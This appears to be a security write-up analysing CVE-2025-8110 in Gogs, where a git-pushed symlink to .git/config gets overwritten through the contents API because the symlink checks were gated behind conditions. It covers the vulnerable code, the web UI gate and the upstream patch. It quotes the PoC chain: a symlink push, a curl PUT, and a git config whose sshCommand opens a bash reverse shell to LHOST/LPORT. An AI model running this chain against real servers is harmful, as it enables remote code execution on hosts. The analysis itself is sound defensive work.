Gogs's UpdateRepoFile function has a symlink check. It sits inside if opts.IsNewFile. The PoC for CVE-2025-8110 pushes the symlink x → .git/config to the bare repo with git push first, then sends PUT /api/v1/repos/{owner}/{repo}/contents/x. The file is not new when the API call arrives. Execution falls through to os.WriteFile, which follows the symlink and writes the request body into .git/config.
CVE-2025-8110: Gogs's Symlink Check Was Inside `if opts.IsNewFile`
vendor
patterns
cve
proof of concept
- mananispiwpiw/CVE-2025-8110-PoC%20(%E2%98%850)
- joaquinrrr/CVE-2025-8110%20(%E2%98%854)
- Xdezen/CVE-2025-8110%20(%E2%98%850)
- Shirouuu/CVE-2025-8110-gogs-poc%20(%E2%98%851)
- ixZODiAK/CVE-2025-8110%20(%E2%98%850)
- 9xh4kv/CVE-2025-8110%20(%E2%98%850)
- projectdiscovery/nuclei-templates
- r3vpwnx/CVE-2025-8110%20(%E2%98%850)
- Waynehck8/CVE-2025-8110-POC%20(%E2%98%850)
- Makis6/CVE-2025-8110%20(%E2%98%850)
- eds1268/cve-2025-8110-ctf%20(%E2%98%850)
- kur0bai/CVE-2025-8110%20(%E2%98%851)
- godylockz/CVE-2025-8110%20(%E2%98%850)
The PoC's first step is making the file not new
The five lines in poc.py that matter are the ones that run before any HTTP call to the vulnerable endpoint:
os.symlink(".git/config", os.path.join(repo_dir, "x"))
git("add", "x", cwd=repo_dir)
git("commit", "-m", "add symlink x -> .git/config", cwd=repo_dir)
r = git("push", "-u", "origin", "master", cwd=repo_dir)After this push, the bare repository on the server holds a tree entry named x with mode 120000, git's encoding for "symbolic link." When the next API call against this repo triggers UpdateLocalCopyBranch, Gogs materialises the working copy on disk, and x becomes a real on-disk symlink under localPath pointing at .git/config.
Then the exploit fires:
curl -X PUT https://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"message":"x","content":"<base64 of malicious .git/config>"}'The base64 payload decodes to a git config with [core] sshCommand = bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' and a [remote "origin"] pointing at an SSH URL. A second PUT to the same path then provokes a git fetch origin, which reads the now-poisoned config, finds core.sshCommand, and runs it.
The API handler is PutContents in internal/route/api/v1/repo/contents.go. The body of the handler is short:
// 🚨 SECURITY: Prevent path traversal.
treePath := pathutil.Clean(c.Params("*"))
err = c.Repo.Repository.UpdateRepoFile(
c.User,
db.UpdateRepoFileOptions{
OldBranch: c.Repo.Repository.DefaultBranch,
NewBranch: r.Branch,
OldTreeName: treePath,
NewTreeName: treePath,
Message: r.Message,
Content: string(content),
},
)pathutil.Clean is the path-traversal guard. It strips .. and resolves dot-segments. It does not check whether the resulting on-disk path is a symlink. OldTreeName == NewTreeName == "x". IsNewFile is the zero value for bool, which is false. The handler never sets it.
UpdateRepoFile has two symlink checks. The API path hits neither.
The vulnerable function lives in internal/db/repo_editor.go of Gogs v0.13.3. The relevant slice, lines 159 through 193, with the security comments preserved:
oldFilePath := path.Join(localPath, opts.OldTreeName)
filePath := path.Join(localPath, opts.NewTreeName)
if err = os.MkdirAll(path.Dir(filePath), os.ModePerm); err != nil {
return err
}
// If it's meant to be a new file, make sure it doesn't exist.
if opts.IsNewFile {
// 🚨 SECURITY: Prevent updating files in surprising place, check if the file is
// a symlink.
if osutil.IsSymlink(filePath) {
return fmt.Errorf("cannot update symbolic link: %s", opts.NewTreeName)
}
if osutil.IsExist(filePath) {
return ErrRepoFileAlreadyExist{filePath}
}
}
// Ignore move step if it's a new file under a directory.
// Otherwise, move the file when name changed.
if osutil.IsFile(oldFilePath) && opts.OldTreeName != opts.NewTreeName {
// 🚨 SECURITY: Prevent updating files in surprising place, check if the file is
// a symlink.
if osutil.IsSymlink(oldFilePath) {
return fmt.Errorf("cannot move symbolic link: %s", opts.OldTreeName)
}
if err = git.Move(localPath, opts.OldTreeName, opts.NewTreeName); err != nil {
return fmt.Errorf("git mv %q %q: %v", opts.OldTreeName, opts.NewTreeName, err)
}
}
if err = os.WriteFile(filePath, []byte(opts.Content), 0600); err != nil {
return fmt.Errorf("write file: %v", err)
}Two IsSymlink checks. Both wear the same 🚨 SECURITY comment. Both are gated.
The first sits inside if opts.IsNewFile. The PoC's x is not new. It was pushed in via git on step 5 of the exploit. The handler never sets IsNewFile. This branch is skipped.
The second sits inside if osutil.IsFile(oldFilePath) && opts.OldTreeName != opts.NewTreeName. The PoC sets both tree names to "x". The branch tests for a rename, finds none, and is skipped.
Execution falls through to os.WriteFile(filePath, []byte(opts.Content), 0600). filePath is <localPath>/x. x is a symlink to .git/config. The Go standard library opens the path with O_WRONLY|O_CREATE|O_TRUNC, the kernel follows the symlink, and the bytes land in .git/config of the working copy that Gogs is about to git fetch from.
This is the entire bug. The function had the security check the API call needed. The function held the check inside two if blocks the API call's argument shape does not enter.
The web UI route had an outer check the API route never imported
Gogs reaches UpdateRepoFile from two route handlers. They are not parallel by accident.
The web UI handler is editFilePost in internal/route/repo/editor.go. Before it ever calls UpdateRepoFile, it walks the tree path and asks git what each component is:
} else {
// 🚨 SECURITY: Do not allow editing if the target file is a symlink.
if entry.IsSymlink() {
c.FormErr("TreePath")
c.RenderWithErr(c.Tr("repo.editor.file_is_a_symlink", part), tmplEditorEdit, &f)
return
} else if entry.IsTree() {
// ...
}
}
if !isNewFile {
entry, err := c.Repo.Commit.TreeEntry(oldTreePath)
// ...
// 🚨 SECURITY: Do not allow editing if the old file is a symlink.
if entry.IsSymlink() {
c.FormErr("TreePath")
c.RenderWithErr(c.Tr("repo.editor.file_is_a_symlink", oldTreePath), tmplEditorEdit, &f)
return
}
}entry.IsSymlink() inspects the mode bits stored in the git tree object, not the local filesystem. The PoC's x, pushed via git, has mode 120000 in the tree. The web UI's symlink-edit gate fires on it before UpdateRepoFile is ever called.
The second of those two blocks, the if !isNewFile branch that the PoC's update-existing-file shape would have hit, was added in PR #7857 (commit 40cb1061) on December 8, 2024. The PR title is "repo/editor: disallow editing symlink while changing file name." The maintainer who wrote it is Joe Chen, the same maintainer who would write the CVE-2025-8110 fix thirteen months later.
The API handler PutContents does not call TreeEntry. It does not consult the git object's mode bits. It does not check IsSymlink at any layer. It hands the path to UpdateRepoFile and trusts the function to do the right thing.
Both routes terminate in the same os.WriteFile. The web UI route was wrapped in an extra symlink gate in December 2024. The API route shipped the same writer ungated for thirteen more months. CVE-2025-8110 is the year in between.
This is the parallel-implementation-gap pattern in a layered shape. The outer gap is between editFilePost and PutContents, two route handlers reaching the same underlying writer through differently-gated entry points. The inner gap is inside UpdateRepoFile itself, where the symlink check sits in two conditional branches that the API call's argument shape does not enter. The same pattern was the story in n8n's Git node, whose helper isFilePathBlocked was already imported by every other file-writing node. The same pattern was the story in Astro's Cloudflare adapter, which never imported the isRemoteAllowed helper the canonical /_image endpoint had used for two years. The same pattern was the story in MLflow, whose basic-auth Flask gate had no FastAPI twin for three of the four FastAPI routers. The shape is consistent: one writer, multiple callers, only some of them wrapped.
The patch hoists the check into the prologue
PR #8082 (commit c3eca1fc, January 8, 2026) does three things.
First, a new helper, also in internal/db/repo_editor.go:
// hasSymlinkInPath returns true if there is any symlink in path hierarchy using
// the given base and relative path.
func hasSymlinkInPath(base, relPath string) bool {
parts := strings.Split(filepath.ToSlash(relPath), "/")
for i := range parts {
filePath := path.Join(append([]string{base}, parts[:i+1]...)...)
if osutil.IsSymlink(filePath) {
return true
}
}
return false
}The helper walks every component of the relative path, not just the leaf. A repository with a directory symlink <localPath>/subdir → /etc and an attempt to write subdir/passwd is now blocked at the second iteration of the loop, where osutil.IsSymlink("<localPath>/subdir") returns true. The leaf-only check in the old code would have asked whether <localPath>/subdir/passwd was a symlink, found that it was a regular file under the followed symlink, and let it through.
Second, the call moves out of the two conditional branches and into the function's prologue:
+ // 🚨 SECURITY: Prevent touching files in surprising places, reject operations
+ // that involve symlinks.
+ if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
+ return errors.New("cannot update file with symbolic link in path")
+ }It runs unconditionally, on both OldTreeName and NewTreeName, before any os.WriteFile. The PoC's call shape, IsNewFile = false and OldTreeName == NewTreeName == "x", now terminates here with the new error. The two old gated IsSymlink checks are deleted in the same diff. The function no longer holds the symlink-checking responsibility in two places conditionally; it holds it once unconditionally.
Third, the same prologue check is added to GetDiffPreview and DeleteRepoFile. Both had their own leaf-only IsSymlink calls. Both are replaced. The shape of "symlink check is conditional inside the function" is removed from the entire module in one commit.
A fourth, smaller change cleans up osutil.IsSymlink itself:
// IsSymlink returns true if given path is a symbolic link.
func IsSymlink(path string) bool {
- if !IsExist(path) {
- return false
- }
-
fileInfo, err := os.Lstat(path)
if err != nil {
return false
}
-
return fileInfo.Mode()&os.ModeSymlink != 0
}IsExist calls os.Stat, which follows symlinks. A symlink pointing at a non-existent target made IsExist return false and short-circuited IsSymlink to false. A dangling symlink was not a symlink in this function's vocabulary. The patch removes the gate. Symlink-ness is now what Lstat says it is, the only thing the function ever needed to ask.
The seventh symlink-or-.git-path fix in this file
git log --oneline internal/db/repo_editor.go for this file's path-hierarchy and symlink security commits, in chronological order:
86ada875:models/repo_editor: sanitize user-defined file name to prevent RCE (#5558)9b37b156:models/repo_editor: add isRepositoryGitPath to detect invalid file path (#5558)0fef3c90:repo_editor: check upload TreePath and file name (#6838)2d58fd16/519aeefb:repo_editor: prohibits uploading files to .git. directory (#6970)5250403d/90bc7522:repo_editor: prohibit move files to .git directory (#6986)deeb3f73/38aff732:repo_editor: check both styles of os.PathSeparator in all systems (#7005)40cb1061/c94baec9:repo/editor: disallow editing symlink while changing file name (#7857)c3eca1fc/553707f3:repository: reject any updates that has symlink in path hierarchy (#8082)
Eight commits. Each closes a specific subspecies of "user-controlled tree path that leads to writes outside the intended subtree." The class never went away. Each patch is the result of someone, sometimes a maintainer, sometimes a reporter to a private security advisory, finding the next call site, the next branch, the next path component, the next file extension, the next route handler that reaches the same writer.
This is a design-debt driver. The primitive at the bottom of UpdateRepoFile is os.WriteFile(<localPath>/<user-string>, <user-bytes>, 0600). The function's entire purpose is to write user-controlled content to a user-controlled path inside a repository working copy that the same function will then git push from. The surrounding checks have been patched and re-patched for at least five years to keep that primitive contained. CVE-2025-8110 is the seventh exhibit of that containment failing. The eighth is whichever caller calls UpdateRepoFile with a tree path that bypasses hasSymlinkInPath, whenever that caller appears.
KEV, four days after the patch
The advisory for CVE-2025-8110 is dated December 10, 2025, credited to Wiz. PR #8082 merged on January 8, 2026. CISA added the CVE to the Known Exploited Vulnerabilities catalog on January 12, 2026, four days later, with a required-action date of February 2, 2026. Active exploitation in the wild was the reason given.
The thirteen months between PR #7857 (web UI symlink check on the rename path, December 2024) and PR #8082 (API symlink check at the prologue, January 2026) is the window the API endpoint shipped a writable symlink-following primitive that any authenticated user with the ability to create a repository could chain into reverse shell on the host. Wiz found it. The KEV entry indicates Wiz was not the only one.
The web UI got this check on December 8, 2024. The API got it on January 8, 2026. CISA added the gap to KEV four days after the API caught up.